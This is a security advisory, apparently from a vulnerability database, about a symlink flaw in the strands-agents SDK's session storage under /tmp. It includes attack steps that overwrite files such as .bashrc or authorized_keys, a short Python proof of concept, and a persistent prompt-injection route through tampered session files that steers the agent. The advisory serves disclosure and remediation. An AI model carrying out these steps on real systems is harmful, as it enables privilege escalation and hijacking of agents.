Strands Agents: Local Privilege Escalation via Symlink Attack in Default Session File Storage
Summary
The FileSessionManager defaults to storing session data in /tmp/strands/sessions/ (a world-writable directory) using predictable file paths and a write pattern (open(path + ".tmp", "w") → os.replace()) that follows symbolic links. A local attacker can exploit this to overwrite arbitrary files or inject malicious session data for persistent prompt injection.
Vulnerability Details
Component: strands-py/src/strands/session/file_session_manager.py
Root Cause:
-
- Default storage directory is
tempfile.gettempdir() + "/strands/sessions/"(line 58) — resolves to/tmp/strands/sessions/on Linux/macOS
- Default storage directory is
-
- The
_write_file()method (lines 116-123) writes to a predictable.tmppath without symlink protection:
pythontmp = f"{path}.tmp" with open(tmp, "w", encoding="utf-8", newline="\n") as f: json.dump(data, f, indent=2, ensure_ascii=False) os.replace(tmp, path) - The
-
open()follows symlinks — a pre-placed symlink at the.tmppath causes writes to an arbitrary target file
-
- No integrity verification (HMAC/signature) on session files — tampered data is loaded as-is
Attack Vectors
1. Arbitrary File Overwrite (Local Privilege Escalation)
-
- Attacker pre-creates
/tmp/strands/sessions/session_<id>/(or monitors for new directories via inotify)
- Attacker pre-creates
-
- Attacker creates a symlink:
session.json.tmp→/home/victim/.bashrc(or any writable file)
- Attacker creates a symlink:
-
- Victim application writes session data → follows symlink → overwrites target file with JSON content
-
- Attacker achieves code execution on next shell login (or targets
.ssh/authorized_keys, cron files, etc.)
- Attacker achieves code execution on next shell login (or targets
2. Persistent Prompt Injection via Session Tampering
-
- Attacker writes crafted message files into the session directory
-
- Victim application restores the session → loads attacker-controlled conversation history
-
- Injected messages instruct the agent to execute attacker commands on every future interaction
-
- No integrity check prevents this — the SDK trusts all session files at face value
Impact
- Arbitrary file overwrite — local attacker can write attacker-controlled content to any file writable by the victim process
- Local privilege escalation — via overwriting shell configs, SSH keys, cron jobs, or systemd user services
- Persistent agent compromise — via session data injection, the agent follows attacker instructions indefinitely
Reproduction
import os, json, tempfile, shutil
# Setup: simulate the vulnerable write pattern
session_dir = "/tmp/strands/sessions/session_test/"
os.makedirs(session_dir, exist_ok=True)
# Attacker: create symlink at the .tmp write path
target_file = "/tmp/symlink_attack_proof.txt"
with open(target_file, "w") as f:
f.write("ORIGINAL - should not be overwritten\n")
symlink_path = os.path.join(session_dir, "session.json.tmp")
if os.path.exists(symlink_path):
os.unlink(symlink_path)
os.symlink(target_file, symlink_path)
# Victim: FileSessionManager._write_file() equivalent
with open(symlink_path, "w", encoding="utf-8", newline="\n") as f:
json.dump({"session_id": "test", "injected": True}, f, indent=2)
# Verify: target file overwritten
with open(target_file) as f:
print(f"Target file content: {f.read()}")
# Output: {"session_id": "test", "injected": true}
# Cleanup
os.unlink(symlink_path)
os.unlink(target_file)
shutil.rmtree(session_dir)
Suggested Fix
-
- Use a user-private default directory —
~/.strands/sessions/or$XDG_DATA_HOME/strands/sessions/instead of/tmp/
- Use a user-private default directory —
-
- Use
os.open()withO_NOFOLLOW | O_CREAT | O_WRONLY— refuses to follow symlinks
- Use
-
- Use
tempfile.mkstemp()for atomic writes instead of predictable.tmpsuffix
- Use
-
- Verify directory ownership matches the current user before writing
-
- Add optional integrity verification (HMAC) on session files to detect tampering
What to do
Upgrade strands-agents to version 1.48.0 or later.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | strands-agents | < 1.48.0 | 1.48.0 |
References
- https://github.com/strands-agents/harness-sdk/security/advisories/GHSA-3w55-933p-8pv5
- https://github.com/strands-agents/harness-sdk/pull/2937
- https://github.com/strands-agents/harness-sdk/commit/8658b9e0d57427b77b69343262184d76d8e63e8f
- https://github.com/strands-agents/harness-sdk
- https://github.com/strands-agents/harness-sdk/releases/tag/python/v1.48.0
- CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H- Weakness (CWE)
CWE-59- Platform
- Python (PyPI)
- Package
strands-agents- Disclosed
- 27.10.2026
- Updated
- 31.10.2026 10:00
Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.
OSV / GitHub Advisory Database - GHSA-3w55-933p-8pv5 - CC BY 4.0
Vulnerability history: strands-agents
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 3
- First → latest
- 10.2026 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 2
- Medium 1
Disclosures per year
- 2026: 3
-
Strands Agents: Local Privilege Escalation via Symlink Attack in Default Session File Storage this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.